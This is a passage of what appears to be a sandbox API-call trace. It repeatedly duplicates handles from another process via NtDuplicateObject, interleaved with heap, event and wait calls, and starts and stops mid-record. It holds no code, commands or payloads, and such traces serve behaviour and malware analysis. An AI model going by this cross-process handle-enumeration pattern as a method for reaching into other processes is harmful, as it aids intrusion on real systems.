0x0 [0148.530] ResetEvent (hEvent=0xec) returned 1 [0148.530] SetEvent (hEvent=0xe8) returned 1 [0148.531] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.531] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.531] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.531] NtClose (Handle=0x15c) returned 0x0 [0148.531] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x14c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.531] ResetEvent (hEvent=0xec) returned 1 [0148.531] SetEvent (hEvent=0xe8) returned 1 [0148.531] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.531] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.531] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.532] NtClose (Handle=0x15c) returned 0x0 [0148.532] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x150, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.532] ResetEvent (hEvent=0xec) returned 1 [0148.532] SetEvent (hEvent=0xe8) returned 1 [0148.532] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.814] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.814] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.814] NtClose (Handle=0x15c) returned 0x0 [0148.814] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x154, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.814] ResetEvent (hEvent=0xec) returned 1 [0148.814] SetEvent (hEvent=0xe8) returned 1 [0148.814] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.814] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.814] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.814] NtClose (Handle=0x15c) returned 0x0 [0148.814] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x158, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.814] ResetEvent (hEvent=0xec) returned 1 [0148.814] SetEvent (hEvent=0xe8) returned 1 [0148.814] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.815] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.815] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.815] NtClose (Handle=0x15c) returned 0x0 [0148.815] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x15c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.815] ResetEvent (hEvent=0xec) returned 1 [0148.815] SetEvent (hEvent=0xe8) returned 1 [0148.815] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.815] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.815] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.815] NtClose (Handle=0x15c) returned 0x0 [0148.815] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x160, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.815] ResetEvent (hEvent=0xec) returned 1 [0148.815] SetEvent (hEvent=0xe8) returned 1 [0148.816] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.816] NtClose (Handle=0x15c) returned 0x0 [0148.816] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x164, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.816] ResetEvent (hEvent=0xec) returned 1 [0148.816] SetEvent (hEvent=0xe8) returned 1 [0148.816] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.816] NtClose (Handle=0x15c) returned 0x0 [0148.817] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x168, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.817] ResetEvent (hEvent=0xec) returned 1 [0148.817] SetEvent (hEvent=0xe8) returned 1 [0148.817] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.817] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.817] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.817] NtClose (Handle=0x15c) returned 0x0 [0148.817] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x16c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.817] ResetEvent (hEvent=0xec) returned 1 [0148.817] SetEvent (hEvent=0xe8) returned 1 [0148.817] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.818] NtClose (Handle=0x15c) returned 0x0 [0148.818] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x170, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.818] ResetEvent (hEvent=0xec) returned 1 [0148.818] SetEvent (hEvent=0xe8) returned 1 [0148.818] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.818] NtClose (Handle=0x15c) returned 0x0 [0148.818] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x174, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.818] ResetEvent (hEvent=0xec) returned 1 [0148.818] SetEvent (hEvent=0xe8) returned 1 [0148.818] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.819] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.819] NtClose (Handle=0x15c) returned 0x0 [0148.819] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x178, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.819] ResetEvent (hEvent=0xec) returned 1 [0148.819] SetEvent (hEvent=0xe8) returned 1 [0148.819] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.819] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.819] NtClose (Handle=0x15c) returned 0x0 [0148.819] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x17c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.819] ResetEvent (hEvent=0xec) returned 1 [0148.819] SetEvent (hEvent=0xe8) returned 1 [0148.820] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.820] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.820] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.820] NtClose (Handle=0x15c) returned 0x0 [0148.820] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x180, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.820] ResetEvent (hEvent=0xec) returned 1 [0148.820] SetEvent (hEvent=0xe8) returned 1 [0148.820] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.821] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.821] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.821] NtClose (Handle=0x15c) returned 0x0 [0148.821] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x184, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.821] ResetEvent (hEvent=0xec) returned 1 [0148.821] SetEvent (hEvent=0xe8) returned 1 [0148.821] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.821] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.821] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.821] NtClose (Handle=0x15c) returned 0x0 [0148.821] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x188, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.821] ResetEvent (hEvent=0xec) returned 1 [0148.821] SetEvent (hEvent=0xe8) returned 1 [0148.821] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.822] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.822] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.822] NtClose (Handle=0x15c) returned 0x0 [0148.822] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x18c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.822] ResetEvent (hEvent=0xec) returned 1 [0148.822] SetEvent (hEvent=0xe8) returned 1 [0148.822] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.822] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.822] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.822] NtClose (Handle=0x15c) returned 0x0 [0148.822] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x190, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.822] ResetEvent (hEvent=0xec) returned 1 [0148.822] SetEvent (hEvent=0xe8) returned 1 [0148.822] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.823] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.823] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.823] NtClose (Handle=0x15c) returned 0x0 [0148.823] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x194, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.823] ResetEvent (hEvent=0xec) returned 1 [0148.823] SetEvent (hEvent=0xe8) returned 1 [0148.823] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.823] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.823] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.823] NtClose (Handle=0x15c) returned 0x0 [0148.823] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x198, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.824] ResetEvent (hEvent=0xec) returned 1 [0148.824] SetEvent (hEvent=0xe8) returned 1 [0148.824] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.824] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.824] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.824] NtClose (Handle=0x15c) returned 0x0 [0148.824] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x19c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.824] ResetEvent (hEvent=0xec) returned 1 [0148.824] SetEvent (hEvent=0xe8) returned 1 [0148.824] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.825] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.825] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.825] NtClose (Handle=0x15c) returned 0x0 [0148.825] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1a0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.825] ResetEvent (hEvent=0xec) returned 1 [0148.825] SetEvent (hEvent=0xe8) returned 1 [0148.825] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.825] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.825] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.825] NtClose (Handle=0x15c) returned 0x0 [0148.825] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1a4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.825] ResetEvent (hEvent=0xec) returned 1 [0148.825] SetEvent (hEvent=0xe8) returned 1 [0148.825] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.826] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.826] NtClose (Handle=0x15c) returned 0x0 [0148.826] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1a8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.826] ResetEvent (hEvent=0xec) returned 1 [0148.826] SetEvent (hEvent=0xe8) returned 1 [0148.826] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.826] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.826] NtClose (Handle=0x15c) returned 0x0 [0148.826] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1ac, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.826] ResetEvent (hEvent=0xec) returned 1 [0148.826] SetEvent (hEvent=0xe8) returned 1 [0148.826] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.827] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.827] NtClose (Handle=0x15c) returned 0x0 [0148.827] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1b0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.827] ResetEvent (hEvent=0xec) returned 1 [0148.827] SetEvent (hEvent=0xe8) returned 1 [0148.827] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.827] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.827] NtClose (Handle=0x15c) returned 0x0 [0148.827] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1b4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.828] ResetEvent (hEvent=0xec) returned 1 [0148.828] SetEvent (hEvent=0xe8) returned 1 [0148.828] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.828] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.828] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.828] NtClose (Handle=0x15c) returned 0x0 [0148.828] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1b8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.828] ResetEvent (hEvent=0xec) returned 1 [0148.828] SetEvent (hEvent=0xe8) returned 1 [0148.828] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.829] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.829] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.829] NtClose (Handle=0x15c) returned 0x0 [0148.829] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1bc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.829] ResetEvent (hEvent=0xec) returned 1 [0148.829] SetEvent (hEvent=0xe8) returned 1 [0148.829] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.829] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.829] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.829] NtClose (Handle=0x15c) returned 0x0 [0148.829] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1c0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.829] ResetEvent (hEvent=0xec) returned 1 [0148.829] SetEvent (hEvent=0xe8) returned 1 [0148.829] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.830] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.830] NtClose (Handle=0x15c) returned 0x0 [0148.830] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1c4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.830] ResetEvent (hEvent=0xec) returned 1 [0148.830] SetEvent (hEvent=0xe8) returned 1 [0148.830] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.830] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.830] NtClose (Handle=0x15c) returned 0x0 [0148.830] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1c8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.830] ResetEvent (hEvent=0xec) returned 1 [0148.830] SetEvent (hEvent=0xe8) returned 1 [0148.830] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.831] NtClose (Handle=0x15c) returned 0x0 [0148.831] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1cc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.831] ResetEvent (hEvent=0xec) returned 1 [0148.831] SetEvent (hEvent=0xe8) returned 1 [0148.831] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.831] NtClose (Handle=0x15c) returned 0x0 [0148.832] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1d0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.832] ResetEvent (hEvent=0xec) returned 1 [0148.832] SetEvent (hEvent=0xe8) returned 1 [0148.832] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.832] NtClose (Handle=0x15c) returned 0x0 [0148.832] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1d4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.832] ResetEvent (hEvent=0xec) returned 1 [0148.832] SetEvent (hEvent=0xe8) returned 1 [0148.832] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.833] NtClose (Handle=0x15c) returned 0x0 [0148.833] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1d8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.833] ResetEvent (hEvent=0xec) returned 1 [0148.833] SetEvent (hEvent=0xe8) returned 1 [0148.833] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.833] NtClose (Handle=0x15c) returned 0x0 [0148.833] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1dc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.833] ResetEvent (hEvent=0xec) returned 1 [0148.833] SetEvent (hEvent=0xe8) returned 1 [0148.833] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.834] NtClose (Handle=0x15c) returned 0x0 [0148.834] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1e0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.834] ResetEvent (hEvent=0xec) returned 1 [0148.834] SetEvent (hEvent=0xe8) returned 1 [0148.834] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.834] NtClose (Handle=0x15c) returned 0x0 [0148.834] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1e4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: 